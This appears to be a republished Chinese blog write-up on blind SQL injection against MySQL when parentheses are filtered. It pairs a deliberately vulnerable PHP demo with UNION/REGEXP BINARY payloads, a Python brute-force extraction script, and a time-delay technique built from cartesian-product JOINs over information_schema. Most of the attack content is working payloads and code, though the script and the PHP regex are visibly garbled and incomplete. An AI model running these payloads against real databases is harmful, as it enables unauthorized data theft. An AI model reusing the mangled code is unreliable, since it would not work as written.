mysql小括号被过滤后的盲注

2018-03-01 11:08:59来源:网络收集作者:戴尔人点击

分享

做题和实战的时候都遇到了盲注点过滤了小括号的情况,小括号被过滤意味着无法使用mysql内置的所有函数。摸索出了一些不同场景下bypass的方法,记录下。


easy demo

贴一个小demo。


<?php
$user = $_REQUEST['user'];
if(preg_match("/(|)/", $user)){
printf('illegal user');
exit();
}
$conn = mysqli_connect('127.0.0.1', 'root', '', 'php3');
$sql = "select * from php3 where user = '$user'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
echo "xxx";
} else {
echo "username error";
}
?>

代码逻辑如下:



获取 request 变量$user
很明显的注入点 select * from php3 where user = '$user'
如果存在查询得到的结果,返回 "xxx",否则返回 "username error"。(这里引入了回显中的bool差异方便注入)


表结构如下:




like && regexp 注入

一步一步来,首先构造如下exp:


' union select 1,2 from information_schema.tables where 1=2#

返回了"username error"


' union select 1,2 from information_schema.tables where 1=2#

返回了"xxx"


这样我们成功在1=2这里引入了一个盲注条件。


进一步构造,小括号被过滤,诸如substring()等字符串截取函数无法使用。盲注必然存在一个字符串比较的过程,这里的话我们可以使用like和regexp进行正则比较。实战发现regexp比较好用。exp如下:


' union select 1,2 from information_schema.tables where table_schema regexp binary '^.*$'#

(加上binary会使得大小写敏感,在获取字段内容时必须加上binary,血的教训- -!)


我们使用已知系统库information_schema进行逐字符验证。


' union select 1,2 from information_schema.tables where table_schema regexp binary '^i.*$'#

返回xxx


' union select 1,2 from information_schema.tables where table_schema regexp binary '^ib.*$'#

返回username error


' union select 1,2 from information_schema.tables where table_schema regexp binary '^in.*$'#

返回xxx


剩下的写脚本去跑。


easy 脚本

(这个easy 脚本花了我一下午。。。)


踩了几个坑:


1.当前表内有多个table_schema,需要去递归获取所有的table_schema,不然只能获取到字符排序最靠前的数据库名。


2.由于使用了正则匹配,需要对正则关键字进行转义。mysql中需要加上两个斜杠进行转义。


在一般的编程语言中,转义一般使用一个反斜线,在Mysql中为什么是两个才行?原因是:Mysql自己需要一个来识别,然后Mysql会将扣除了一个反斜杠的剩余的部分完全的交给正则表达式库解释,所以加起来就是两个了。


3.单个斜杠字符前面一共需要加三个斜杠,变成"//"。"//"被mysql转义为"/",然后再交给正则表达式库转义成 ""


#coding=utf-8
#Th1s
import requests
import string
url = "http://xxx/sqli.php"
payload = "' union select 1,2 from information_schema.tables where table_schema regexp binary '^%s.*$'#"
special_str = ".*()|[]{}/^$+?"
final_result = []def check2(now_str):
for ch in string.printable:

if ch in special_str:
if ch == '/':
ch = '/' + ch
ch = '//' + ch
exp = payload % (now_str + ch)
param = {'user': exp}
if check(param):
print now_str + ch
check2(now_str + ch)
if ch == string.printable[-1]:
final_result.append(now_str)
return

看起来效果还不错。




获取了table_schema以后就可以获取某个数据库下的所有表了。比如限定一下当前数据库为dnslog。


' union select 1,2 from information_schema.tables where table_schema='dnslog' and table_name regexp binary '^.*$'#
无bool回显的场景

上面的bypass都是基于有bool回显的。如果不存在bool回显呢?比如,我们修改下最初的demo,把bool回显的部分删掉。


<?php
$user = $_REQUEST['user'];
if(preg_match("/(|)/", $user)){
printf('illegal user');
exit();
}
$conn = mysqli_connect('127.0.0.1', 'root', '', 'php3');
$sql = "select * from php3 where user = '$user'";
$result = mysqli_query($conn, $sql);
//xxx
?>

由于小括号被过滤,sleep()、benchmark()都已经无法使用。那么这里有办法可以注出数据吗?


答案是可以利用查询笛卡尔积造成延时。利用多次join造成结果集的笛卡尔积非常大造成mysql延时。


union select 1, b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=1

实战尝试一下:


where 1=1的时候已经造成非常大的延时了。





where 1=2基本无延时。




参考文献

Mysql必知必会(4):使用正则表达式搜索(REGEXP)

最新文章

123

最新摄影

闪念基因

微信扫一扫

第七城市微信公众平台